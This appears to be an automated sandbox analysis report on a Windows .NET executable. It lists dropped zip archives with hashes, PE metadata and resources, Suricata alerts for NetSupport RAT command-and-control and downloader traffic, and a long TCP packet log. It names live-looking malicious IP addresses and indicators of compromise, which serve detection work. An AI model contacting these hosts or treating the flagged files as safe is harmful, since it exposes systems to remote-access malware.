Preview:	PK........Aa.O..2S....:......mscpxl32.dLL.;.X\.g^d.Cfb....ub..v...a 0.($C .. ...yLf.....a.&7..U...6..6.._.D..!..$..Fkl.j.7,....$..........v._w...{........9..s)Y.K$..)d.#...)...t..E..!G"O..'>u[....ow.7:j[..j......x..-..-.`eY\|k{.59j.Z..zz.[..Rt......NKyW..Eun...T.....-...o..UMu6....b&.X$#?3.,..[\|...9...H.a...P..W....d2..(o._...G.~._.E....Cy..2P................/Or z8..t....d....;.....)..{..k.Z"...:..0$..On..[.<o.....x........v.x...Y[..x.I. [......7M..D...a..')..KT".?m.W.0..H..D.7L.o....\..>,...\5.',..d.B.<..M..X...J........V.I.C....!w.Z.M............e..Ya...V...i.........o.......lu....u......,.............._>.....k....o*l..^..[N...`.<>..N.O.....z'T......s.1.\.X..R.C...~c#...".P..m.c+......[I.>.l....}....xh...O..t...~.N%.O.i4u.....=.C=b.N](..#L.i.-zR..X.8..w.NB...}j...y...!..rO.g.G....R[s.'+^A.a....[...='.y.e..vn..U.Y......J.C.3G[8.......b..s.W...0.E.'.....^_5.....5...4.h.[".......(.R.$...u.+=..y.....`.a..<............%.u\U.lV.'8&.=!b...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\2nd2_4[1].zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	787082
Entropy (8bit):	7.997955572815781
Encrypted:	true
SSDEEP:	24576:zKyeop5xuiZil2MroDAQPyLZ5FvFHj60Ywr:zK2lglVG5PWZ5FvcBc
MD5:	26ACC6BCC9C54A6D41233085F7D7CB33
SHA1:	5D19C99C9552332FD35D89B9EE7205133FD0A515
SHA-256:	BD409A9F5B3E37A0030D60473800F829417DAA09B69B65E7BD8FEDABEF9DC824
SHA-512:	0E777992563864765923F52B23600DA27697E609767B9C5246CF40E649255970650DD879E4D1E03FC8A6EDC69329247E09A990F177EE486DDBEFCEAE9AECA268
Malicious:	false
Preview:	PK........,a.O...Rb...........netmsg.dll.VMHTQ........D.'......P3...P...^3.q.y3.7.....A.."ZV...,Zh..lc.V.Q.].m..w..._."A.:.s..{..9...zO.#. D...X@.Z.1)..Ok.$.T.`.,...%=3....2c...Y.t'.3...Cf..#55.....+G>\.88Wd......7T?...)...@..c...q.".....v.L6...4.d.....+,.X.gF.\|.VHF.r..Ud.U..'5..Q$kOf....h..k..q=7...c.&].29..sXC.&7.....r.j6..\...E....z..y...t.l...y..SCcTAyb'....k1D.#.n.-.._f.]......\|y..#.;fn.k...>.\|..9.!W..mn...u.5.ph.X.....z........qt.....#..i........m'....-C..dku...m'.G.c?..(.!d."...ZKb.6-;8.4e..L#...K.&...l#~.2)d`Q~..X..b...b...G>G..H..Hk.Ir.P..[`.\|..=.M"....b.W$<.H..N..HM.\|.F..<..(...G.~.26..'$.m.....(..VZM.F.C..!y.....2.H.).N ./.....h..d0%.M0z..{.......QZ.....LeGEw....h....dR.]..a.....Y...!.A........O.~....C.=.'q...3%..Q..WyE...vy.F..].d..{Hn.W..u......n.`iyi.....n)..n....s..w.>.._..?.}b....^....n...k.\|G_Yw.<.......+!W.x.^S...!....PK........s..V...(............TCCTL32.DLL.{`T...~..\`.....X."ADV..D.c...v...'&.-...Z.]A.!t.m

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\2nd2_1[1].zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	41029
Entropy (8bit):	7.989346444055703
Encrypted:	false
SSDEEP:	768:ZBLBjV0IlNtNnLGs6b5SIco4N02W0EdocXH9bziI+Bw0cXMlDB4G:vTNtRLG9bg9ouVENbziVw0c879
MD5:	77DED36570B38B3C9F244ADBFC6599D6
SHA1:	5593CCC6E14D643938EF350BE7763943AD0472E9
SHA-256:	F0881EA39F315F08F7BE09ED39A610CE0AC7ABB85430411649D66C45074AC756
SHA-512:	A3DD37BFADF540EB9CB26E9A3CE831C393222B5E9B80198DE16A7DD27B74FB89083E5EBCAE178D3CB9DC5C723174EA4B41EC92536085C144E315ECFF64E1C2A5
Malicious:	false
Preview:	PK........\|..S.........J......msauserext.dll.\|.xS...,....b.C.P.I...%....-......`la=#9..H.......-.;l.n3.:. .m..L..z.F`..!Y..&$..7.LE.M.)..8h.....4.........{.=..s...9W.......B..R8L.I"?...HK../%'..~.IE..w.9]~....g...=.NA....D....m..ut:.........\|....~..I..W.~..o....nZ......s..Z...h.~^...ft....r....Z..7"..JH.b....5E`#Dy......A%]...!.F....JB..X..a.x..3.;ZJhE+7.K.x&..o..C6.P..K.FEf?....B........x.....?...~...!....r.?:P;.a.....D.qD28.....P.h ...d9.PF...o...\|~_+a6...2b.?...l.mD.....6./.......EH..3......@..l$. $.E...n.D6....AH-..!....PN ...}......hq....Y.XF.8.......\N.J...Fn.>!..$..v..2.,....8.0.....0f.;...0f.]...l.3[&dA.t_....n\|...g0.b6...z...p.av.. f#...(.f.`.........1...{d}......p..`..7.l...#..t.6.N..m..o\|......Z;}.F.~.~#..p........OU}.}...........a.......]U........v.N..'.......t9x......{..N....]..H"..pux.Y.^o....R...(im..=B..F.g.....kKJ}<emw.....m..@.j..v..x_..v.4..}..x9:...9......x.u>./..2./.5..._.u...t*...>.W..M...q.<\|.>..l#...[...{].\|]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Local\DNScache\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Preview:	40.7357,-74.1724

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.255613138289018
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Jjv9ha2GKn.exe
File size:	1'128'960 bytes
MD5:	aedf7f67cf6d7f8ef348ba681046fe51
SHA1:	707ac1c67e2d569613c1b5cc3f809d6bd3cddc26
SHA256:	6ba3976f8956dceb2903dc89b9b66c3d81ceb93566b6244b58c4929a454815c0
SHA512:	83297d6611b3c168952c700a10fcca736fe96205298a81eb4d21523b260f933b41f71f4fc9da41b60098d0687d822be6a93b3b29caf692bfaa32e1762a392a01
SSDEEP:	24576:WDXXsCAM4OF+PMwrSVlbmfDYkhDvGtjXtGUAF9kJ7MqudghfEuCj0hThiHHxlhVV:WDXtMw5pwkJ
TLSH:	D13518D98EA57226C257F2380F63871E676C2D73E6018A8948839597FE3D34EDC184ED
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<..3.....................>........... ... ....@.. ....................................`................................

File Icon


Icon Hash:	1016339396b696b3

Static PE Info

General

Entrypoint:	0x51189e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x33121C3C [Mon Feb 24 22:54:52 1997 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x111850	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x112000	0x3b9c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x116000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x10f8a4	0x10fa00	6bc73c5474aae2519b2b72c4408eeef6	False	0.5554074508168431	data	6.27710859546898	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x112000	0x3b9c	0x3c00	d89b47806cf5b981a3d7161a0a49e5c2	False	0.29153645833333336	data	3.875475461642215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x116000	0xc	0x200	2873d1e0dd4afd69465a12cc0a5eb3ca	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1125e0	0x134	data			0.40584415584415584
RT_CURSOR	0x112714	0x134	data			0.40584415584415584
RT_BITMAP	0x112848	0x3e8	Device independent bitmap graphic, 112 x 16 x 4, image size 896, 16 important colors	Hebrew	Israel	0.383
RT_BITMAP	0x112c30	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, resolution 3780 x 3780 px/m	English	United States	0.4305555555555556
RT_BITMAP	0x112d08	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, resolution 3780 x 3780 px/m	English	United States	0.42592592592592593
RT_ICON	0x112de0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.16909005628517823
RT_ICON	0x113e88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.46365248226950356
RT_ICON	0x1142f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.39864864864864863
RT_MENU	0x114418	0x242	data	English	United States	0.48961937716262977
RT_MENU	0x11465c	0x1c4	data	English	United States	0.4557522123893805
RT_DIALOG	0x114820	0xa2	data	Hebrew	Israel	0.7592592592592593
RT_DIALOG	0x1148c4	0x296	data	Hebrew	Israel	0.48942598187311176
RT_DIALOG	0x114b5c	0x2dc	data	Hebrew	Israel	0.46584699453551914
RT_DIALOG	0x114e38	0xfa	data	Hebrew	Israel	0.62
RT_DIALOG	0x114f34	0x336	data	English	United States	0.49635036496350365
RT_STRING	0x11526c	0x144	data	English	United States	0.5308641975308642
RT_STRING	0x1153b0	0x92	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.5068493150684932
RT_STRING	0x115444	0x40	data	English	United States	0.640625
RT_STRING	0x115484	0x32	Matlab v4 mat-file (little endian) I, numeric, rows 0, columns 0	English	United States	0.62
RT_STRING	0x1154b8	0x28c	data	English	United States	0.4125766871165644
RT_STRING	0x115744	0xe2	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.4557522123893805
RT_ACCELERATOR	0x115828	0x30	data	Hebrew	Israel	0.9375
RT_GROUP_CURSOR	0x115858	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x11586c	0x22	data			1.0588235294117647
RT_GROUP_ICON	0x115890	0x14	data			1.25
RT_VERSION	0x1158a4	0x2f8	data	Hebrew	Israel	0.4328947368421053

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
Hebrew	Israel
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T08:57:08.084054+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.5	49865	88.210.12.58	3785	TCP
2024-12-10T08:58:24.482566+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49831	23.254.224.41	443	TCP
2024-12-10T08:58:26.643824+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49837	23.254.224.41	443	TCP
2024-12-10T08:58:31.227150+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49851	23.254.224.41	443	TCP
2024-12-10T08:58:33.561114+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49857	23.254.224.41	443	TCP
2024-12-10T08:58:37.212776+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.5	49865	88.210.12.58	3785	TCP
2024-12-10T08:58:37.654624+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.5	49865	88.210.12.58	3785	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 08:58:22.270113945 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:22.270157099 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:22.270252943 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:22.272651911 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:22.272665977 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.029808044 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.029977083 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.082441092 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.082468987 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.082783937 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.082894087 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.085716963 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.131336927 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.482590914 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.482620955 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.482799053 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.482822895 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.483059883 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.549683094 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.549845934 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.679055929 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.679235935 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.712384939 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.712464094 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.738404989 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.738502026 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.744432926 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.744508028 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.744520903 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.744535923 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.744586945 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.744817972 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.744817972 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.744836092 CET	443	49831	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.744878054 CET	49831	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.784491062 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.784522057 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:24.784595966 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.784846067 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:24.784858942 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.137329102 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.137389898 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.137873888 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.137877941 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.138086081 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.138091087 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.643831968 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.643855095 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.643891096 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.643923998 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.643937111 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.643976927 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.836569071 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.836673021 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.864391088 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.864547014 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.888858080 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.888979912 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:26.922867060 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:26.923024893 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.040441036 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.040558100 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.064719915 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.064805984 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.084456921 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.084556103 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.099411011 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.099493980 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.114392042 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.114486933 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.134157896 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.134341955 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.231673956 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.231777906 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.245276928 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.245421886 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.256997108 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.257072926 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.271846056 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.271914959 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.282936096 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.283003092 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.294250011 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.294332981 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.305449963 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.305527925 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.320180893 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.320250034 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.331485033 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.331556082 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.412041903 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.412117958 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.418781996 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.418867111 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.429815054 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.429892063 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.437663078 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.437763929 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.445190907 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.445282936 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.452300072 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.452383995 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.461517096 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.461587906 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.468465090 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.468528986 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.472402096 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.472481966 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.476572990 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.476639032 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.481275082 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.481343031 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.486614943 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.486684084 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.490674973 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.490739107 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.494885921 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.494955063 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.498944998 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.499008894 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.504257917 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.504327059 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.605711937 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.605873108 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.609180927 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.609256029 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.614761114 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.614830017 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.617925882 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.617995977 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.621984005 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.622054100 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.625437021 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.625504017 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.629324913 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.629395962 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.632808924 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.632875919 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.636034966 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.636113882 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.640324116 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.640396118 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.643155098 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.643233061 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.647480965 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.647552013 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.650707006 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.650784016 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.654124975 CET	443	49837	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:27.654190063 CET	49837	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:27.657407999 CET	443	49837	23.254.224.41	192.168.2.5
